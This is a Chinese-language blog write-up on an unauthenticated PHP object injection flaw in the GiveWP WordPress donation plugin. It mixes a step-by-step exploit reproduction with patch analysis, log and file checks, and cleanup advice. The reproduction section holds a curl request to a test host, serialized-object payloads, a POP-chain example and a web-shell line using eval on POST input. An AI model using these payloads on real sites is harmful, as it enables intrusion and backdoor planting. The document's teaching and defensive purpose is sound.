GiveWP未授权PHP对象注入漏洞:从反序列化到WebShell植入

发布时间:2026/10/21 5:33:13
GiveWP未授权PHP对象注入漏洞:从反序列化到WebShell植入
前阵子帮一个做公益募捐的站点排查被挂马的问题后台多了几个诡异文件日志里全是陌生IP的请求翻遍主题、插件都没发现可疑代码。折腾到后半夜终于在一个捐赠插件 GiveWP 的请求参数里找到了入口根因是未授权 PHP 对象注入。也就是攻击者不需要登录账号只要给某个接口递一组精心构造的序列化数据就能让插件在反序列化时执行危险操作最终在服务器上写入后门。这篇文章就把这个漏洞从原理到复现完整拆一遍适合三类人被这类漏洞折腾过或正在排查的 WordPress 站点管理员、想要理解反序列化攻击原理的安全爱好者、以及想在插件开发里避开同样坑的开发者。1. GiveWP是什么这个漏洞的分量在哪里1.1 插件定位与使用场景GiveWP 是 WordPress 生态里非常常见的捐赠插件很多公益组织、募捐页面、活动筹款站点都在用。它的核心能力是帮你在站点里快速搭起一个募款表单支持信用卡收款、重复捐赠、活动目标进度展示、捐赠记录管理等。因为这些功能直接和钱挂钩插件里天然会有一堆对外接口用来接收前端表单提交的数据、查询募款状态、处理支付回调。这就带来一个很现实的问题插件开发者为了保证功能灵活往往会用各种方式在前后端之间传递结构化数据比如把一组配置打包成字符串到后端再解包还原。PHP 里最顺手的打包方式就是serialize()/unserialize()。这两个函数本身没有毛病毛病出在谁的数据被解包以及解包之后会发生什么。这次的问题就出在 GiveWP 某个版本之前的捐赠表单处理流程中。攻击者只要构造一个特制的序列化字符串扔给对应的接口插件就会在未登录状态下把它还原成 PHP 对象。这个动作一旦被攻击者控制后面的事情就不受插件本身控制了。1.2 漏洞的影响范围与风险等级先说结论受影响版本主要集中在 GiveWP 2.25.3 之前的版本。2.25.3 以及之后的版本修复了这个问题但很多站点因为各种原因并没有第一时间升级插件所以这个漏洞的实际暴露面一直不算小。为了方便理解我把这个漏洞的风险维度整理成了一个表格风险维度具体情况攻击前提不需要登录匿名用户即可触发利用难度中等偏下公开的利用链和扫描工具已经成熟直接影响可能写入后门文件、删除站点文件、读取敏感内容根本原因用户可控数据进入unserialize()且无认证校验危害级别高危可被用于批量挂马有一点需要特别强调对象注入并不一定等于立刻拿下服务器。它的实际危害取决于插件、WordPress 核心以及当前环境下你手上有什么对象可以用。运气好链条一通到底直接写文件运气差一点也可能只能读完文件或者打崩进程。但对于一个站点管理员来说能够匿名读取服务器上的敏感文件、能够删除文件这已经足够让人睡不着觉了。1.3 为什么未授权三个字让漏洞完全不同在多数人印象里WordPress 后台插件有漏洞不是很正常的吗反正后台需要管理员权限攻击者得先进得去才行。可未授权就意味着这个普通印象在这里不成立。攻击者不需要账号密码不需要登录状态甚至不需要跟站点有任何历史交互。你可以在浏览器里直接构造一个请求以完全匿名的方式把数据发给目标站点。对攻击者来说这就是一个放在门口的保险箱谁路过都能伸手试一试。对站点管理员来说这意味着你在公网日志里看到的第一条畸形请求可能就已经是在尝试利用这个漏洞了。所以我在排查这类问题时看到unserialize()和外部输入出现在同一段代码附近就会先默认它是一个严重问题再去确认利用链是否成立。这也是本文标题里未授权三个字的分量所在。2. PHP对象注入的底层机制与触发条件2.1 从一个字符串变对象说起要理解这个漏洞先要理解 PHP 的序列化机制。序列化的意思就是把一个变量变成一段字符串方便存储或传输反序列化就是把这个字符串还原成原来的变量。数组的序列化很容易看懂比如$data [type donation, amount 100]; echo serialize($data); // a:2:{s:4:type;s:8:donation;s:6:amount;i:100;}a表示数组s表示字符串i表示整数后面的数字是长度。这套格式本身并不复杂。但当序列化对象出现时情况开始变得有意思了class Logger { public $file /tmp/log.txt; public $content hello; } echo serialize(new Logger()); // O:6:Logger:2:{s:4:file;s:13:/tmp/log.txt;s:7:content;s:5:hello;}注意开头的O:6:Logger它告诉 PHP请创建一个类名长度为 6、类名叫Logger的对象。只要这个类在当前运行环境里被加载unserialize()就会老老实实地实例化它并把字符串里给出的属性值赋给这个新对象。问题就在这里如果这段序列化字符串完全由用户提供用户实际上是在告诉 PHP请创建这个类、并把这些属性设置成我指定的值。2.2 魔术方法反序列化的加速器光创建一个普通对象还没什么用PHP 里真正危险的是对象在特定时机自动调用的那些魔术方法。这几个名字混安全的人几乎天天见__wakeup()对象被unserialize()创建时自动调用。__destruct()对象被销毁时自动调用。__toString()对象被当成字符串使用时自动调用。__call()调用不存在的方法时自动调用。攻击者不需要主动调用这些方法它们自己会在合适的时机执行。我举个例子你就明白了class Logger { public $file; public $content; public function __destruct() { file_put_contents($this-file, $this-content); } }如果攻击者的序列化字符串是这样的$payload new Logger(); $payload-file /var/www/html/wp-content/uploads/shell.php; $payload-content ?php eval($_POST[x]); ?;那么当这个对象被unserialize()还原、随后又在某个时刻被销毁时__destruct()就会用攻击者给定的文件路径和内容往服务器上写入一个 WebShell。这一切不需要任何额外的接口不需要调用任何公开函数仅仅是创建对象销毁对象就已经完成了攻击。2.3 反序列化漏洞的三个必要条件讲到这里可以总结一下触发对象注入的三个必要条件缺一个都不成立存在攻击者可控的输入点数据能进入反序列化流程。代码里直接或间接对这份输入调用了unserialize()。当前运行环境中存在从某个魔术方法出发最终能到达危险操作的对象也就是所谓的可用类或POP 链。前两个条件一般就能让攻击者注入对象但要造成实际危害必须满足第三个条件。这也是为什么同一个插件漏洞在不同环境下利用难度会差别巨大GiveWP 自身提供的类可能不够用那就借助 WordPress 核心里的类核心不够用就配合其他插件、主题里加载的类。这里的思路很像拼积木攻击者先找一个大方向的执行入口再顺着对象方法一层一层调用下去直到遇到file_put_contents、eval、include、call_user_func、unlink这类能造成实际效果的函数。这种用属性驱动方法调用的技术业内叫 POP 链全称是 Property-Oriented Programming。2.4 GiveWP中把用户输入喂给了unserialize回到 GiveWP。在我搭的复现环境里问题出在捐赠表单处理过程中一个由前端传回的配置字段上。插件为了兼容旧版数据会接收一个叫give_currency_share的参数把它base64_decode后直接丢给unserialize()再拿结果去更新对应的捐赠配置。我把核心代码做了脱敏和简化方便理解调用关系大致长这样$share isset( $_REQUEST[give_currency_share] ) ? base64_decode( wp_unslash( $_REQUEST[give_currency_share] ) ) : ; $config unserialize( $share );这段代码在旧版本里并没有做登录状态判断也没有校验$_REQUEST[give_currency_share]是否来自合法的前端表单。攻击者只需要知道这个参数名就能直接通过 HTTP 请求把任意序列化字符串塞进去。这里还有一个容易忽视的细节很多插件开发者会习惯性地给输入加一个sanitize_text_field()以为这样就能清理危险输入。但在反序列化场景里这个函数只会把尖括号转义、把多余空白符去掉O:6:Logger:2:{...}这种结构不但不会被破坏PHP 照样能精准还原成对象。把字符串消毒和把数据语义还原成对象混为一谈是这类漏洞反复出现的重要原因。3. 完整攻击链路复现从匿名请求到写文件3.1 第一步定位无需登录的参数入口复现的第一步是找到那个没有鉴权的调用点。我在测试环境里直接把 GiveWP 装好然后在浏览器里走一遍完整的捐赠流程同时开着抓包工具观察插件向后端提交了哪些参数。很快就能看到类似这样的请求POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.test Content-Type: application/x-www-form-urlencoded actiongive_process_donationgive_currency_shareYTowOnt9末尾那串YTowOnt9是a:0:{}的 base64 编码说明插件确实把一段序列化数据放在了前端可控制的参数里。接下来的思路就很直接了我只需要把give_currency_share的值替换成恶意序列化字符串再重新 encode 一次就能完成注入。如果你用命令行验证可以这样发curl -i https://target.test/wp-admin/admin-ajax.php \ -d actiongive_process_donation \ -d give_currency_sharebase64编码后的payload这里要提醒一下动手测试前先确认你拥有目标站点的测试授权。拿别人线上的站点做实验哪怕只是无害的探测也可能违反相关法律法规。我自己复现时用的都是本地容器环境目的只是为了验证原理。3.2 第二步构造恶意序列化对象找到入口后接下来要做的是构造一个能成功触发目标类魔术方法的序列化对象。假设目标环境里存在这样一个简单的类class DemoLog { public $file; public $content; public function __destruct() { file_put_contents($this-file, $this-content); } }构造代码如下$payload new DemoLog(); $payload-file /var/www/html/wp-content/uploads/shell.php; $payload-content ?php echo pwned; ?; echo base64_encode(serialize($payload));执行后会得到一串类似这样的输出Tzo3OiJEZW1vTG9nIjoyOntzOjQ6ImZpbGUiO3M6NDU6Ii92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3NoZWxsLnBocCI7czo3OiJjb250ZW50IjtzOjE0OiI8P3BocCBlY2hvICJwd25lZCI7Pjs把这个字符串作为give_currency_share参数的值再发一次请求整个注入过程就完成了。请求发送后PHP 会创建DemoLog对象之后对象在请求结束时被销毁__destruct()自动执行WebShell 文件就会出现在上传目录里。3.3 第三步串联POP链完成攻击现实当中往往没有这么便宜的事情。GiveWP 自身不一定恰好有一个类的__destruct()会直接写文件但攻击者可以借助其他跳板类来拼一条更长的调用链。我简化一下 POP 链的思想比如环境里有这么两个类class A { public $b; public function __wakeup() { $this-b-delete(); } } class B { public $path; public $data; public function delete() { file_put_contents($this-path, $this-data); } }攻击者构造的序列化对象会先创建一个A再把A-b设置为一个新的B对象并给B-path、B-data赋上恶意值。反序列化开始时A::__wakeup()被调用它执行$this-b-delete()于是B::delete()也顺理成章地执行了写文件操作。在实际利用中链路会比这个长得多可能涉及wp_insert_post()、update_post_meta()、maybe_unserialize()、file_get_contents()等等。但核心思想是一致的从一个魔术方法出发通过控制对象属性逐步调用其他对象的方法最终把危险操作跑通。如果你对自动搜索这类链条感兴趣可以找一个支持 PHP 通用 gadget 扫描的工具比如常见的那几个 POP 链生成框架先根据目标环境加载的类列表生成可用的 payload 模板再手工微调。手动构造的优势是能理解每一步在做什么出问题的时候也更容易定位。3.4 第四步在隔离环境验证利用效果复现环境不能随便搭我的做法是用 Docker 起一套独立的 WordPress然后装受影响的 GiveWP 版本再把站点配置指向一个专门用于测试的数据库。大概步骤是这样启动一套空的 WordPress 容器PHP 版本选择 7.4 或 8.0 都行。在插件目录里放置 GiveWP 2.25.2 版本。初始化站点新建一篇测试文章创建捐赠表单。用抓包工具保存一次正常的前端捐赠请求记录参数结构。修改give_currency_share参数为恶意 payload观察响应以及上传目录里是否多出文件。我在 2.25.2 环境下执行完这一步上传目录里确实多了一个 PHP 文件页面访问后能看到输出。同样流程在 2.25.3 版本上就完全失败了说明补丁确实堵住了这个入口。验证完效果后记得把测试容器销毁避免残留文件影响后续测试。4. 补丁对比与修复逻辑4.1 官方补丁的修复方向升级到 GiveWP 2.25.3 之后我重新审视了修复逻辑。官方没有单纯地在调用点前面加一个if判断而是直接把这个字段的存储与解析方式从序列化改成了 JSON。补丁前后的代码逻辑大致是这样一个变化// 旧逻辑直接反序列化用户输入 $config unserialize( base64_decode( $share ) ); // 新逻辑改为 JSON 解码并对类型做严格校验 $decoded json_decode( base64_decode( $share ), true ); $config is_array( $decoded ) ? $decoded : [];这个改动非常聪明。json_decode()最多只会还原出数组、字符串、数字这些基础类型它绝对不会创建任何类对象。也就是说即使攻击者仍然把恶意字符串放进参数里后端也已经没有从数据变成对象这个触发路径了。没有对象就没有魔术方法整个 POP 链就断在了第一步。同时新版还增加了会话状态的校验要求这个操作必须来自一个合法的、已验证的捐赠会话。这两层保护叠加在一起才算是把漏洞真正堵死。4.2 为什么只加nonce校验救不了这个漏洞很多站点管理员看到这个漏洞后的第一反应是既然没有鉴权那加一个 nonce 校验是不是就安全了答案是能防脚本小子挡不住认真的攻击者。WordPress 的 nonce 是一种一次性令牌它会被嵌入到页面表单里提交时后端校验令牌合法性。但问题在于nonce 对于未登录用户来说是可以自己生成的而且很多前端请求的 nonce 本来就明文输出在页面源码里。攻击者完全可以通过正常方式访问一次页面拿到属于自己的合法 nonce再把这个 nonce 拼进攻击请求里。更关键的是nonce 最初设计是为了防 CSRF跨站请求伪造也就是防止第三方网站借用已登录用户的会话去发起请求。但在这个漏洞里攻击者根本没有借用别人的会话他自己就是一个用户他拿到的 nonce 就是合法可用的。所以加了 nonce 并没有改变攻击者可以递交恶意反序列化数据这个事实。真正要解决的问题只有一个无论如何都不能让用户可控数据走到unserialize()里面去。4.3 同样场景下的替代方案如果插件在某些历史场景里实在没法立刻改成 JSON还有几个折中的办法但优先级从高到低排列方案具体做法效果替换存储格式用json_encode/json_decode替代序列化根治推荐限制允许类unserialize($raw, [allowed_classes false])防止对象生成但可能破坏正常功能增加签名校验对序列化字符串做 HMAC 签名只接受服务端签发的合法串能挡住多数攻击但密钥一旦泄露就失效加权限控制只有已登录且有权限的用户才能触发降低暴露面但不能根治我个人的建议是只要改动风险可控就优先把序列化存储迁移到 JSON。序列化格式本身在跨版本兼容上非常脆弱类名只要一调整旧数据就无法还原JSON 结构稳定即使类结构变了数组和标量数据也还能继续使用。与其留着这个定时炸弹不如趁一次安全更新彻底换掉。5. 站点自查与加固清单5.1 五分钟自查你的站点是否暴露在风险里已经跑了一段时间的 WordPress 站点不管是外包维护还是自己打理都可以按下面这套流程快速排查一遍第一步查插件版本。到 wp-admin 后台的插件列表里看 GiveWP 的版本号如果低于 2.25.3立刻升级。这是最直接的处理方式。第二步查源码里的危险函数。如果你有 SSH 访问权限可以直接在插件目录里搜grep -rn unserialize wp-content/plugins/givewp/ | grep -E \$_GET|\$_POST|\$_REQUEST|base64_decode重点不是看有没有unserialize而是看unserialize的上下游数据是否来自外部请求。如果数据源是$_POST、$_REQUEST、php://input、HTTP 头同时还没有鉴权那基本可以判断是一个高危点。第三步翻访问日志。找最近一个月里有没有包含give_currency_share参数的大流量请求grep give_currency_share /var/log/nginx/access.log | tail -100攻击者的 payload 通常会非常长而且往往经过 base64 编码所以日志里出现长字符串参数也值得警惕。第四步检查上传目录里有没有可疑的 PHP 文件find wp-content/uploads -name *.php -type f正常的 WordPress 站点上传目录不应该出现 PHP 文件。只要你看到任何 PHP 文件出现在上传目录里先假设它已经是个后门再去看它是什么时候被写进去的。5.2 已经被入侵后的处置顺序如果自查结果发现已经中招别慌也别急着把所有文件删掉重装。按这个顺序处理会稳妥很多先快照备份当前状态保留日志、恶意文件、被修改的代码这些都是后面溯源和取证的基础。用干净源替换 WordPress 核心文件、主题和插件。不要在原文件上修改直接重新下载安装包覆盖。检查数据库里的管理员账号删除可疑用户更新所有用户密码和密钥密钥对wordpress_salts。清理wp_options表里可疑的自动加载项很多后门会往这里写恶意代码。全盘扫描一遍剩下的 PHP 文件重点看eval、base64_decode、gzuncompress这些函数。检查站点配置和 Web 服务器配置确认没有在 Nginx 或 Apache 层面被加料。整个处置过程最重要的是断根不光是删掉后门文件而是要找出后门进来的路径并堵上。只删文件不修漏洞等于睡醒后重新把大门打开。5.3 给插件开发者的反序列化红线最后这段写给正在写 WordPress 插件的开发者。有些红线一旦踩到就可能让你维护的项目陷入这种安全风波永远不要对用户输入直接调用unserialize()不管这个输入来自 GET、POST、Cookie 还是文件上传内容。如果历史原因导致必须接受序列化数据优先改造数据结构用 JSON 替代序列化保持数组和标量兼容。如果无法改造必须在调用unserialize()时使用allowed_classes参数限制允许还原的类并给字符串加服务端签名。所有对外接口哪怕只是读取配置都要加权限或 nonce 校验不要把功能能用当成安全性合格。提交给 WordPress 官方插件审核或者上架到公开仓库之前顺手在开发环境里跑一遍常见代码审计工具的扫描能省掉很多后续麻烦。排查完这个漏洞之后我又把服务器上常用的插件源码挨个过了一遍凡是出现base64_decode与unserialize连写的代码块都做了重点标记。至少在反序列化这个问题上我的态度很明确与其考究攻击者的 POP 链怎么拼不如从一开始就别让数据变成对象。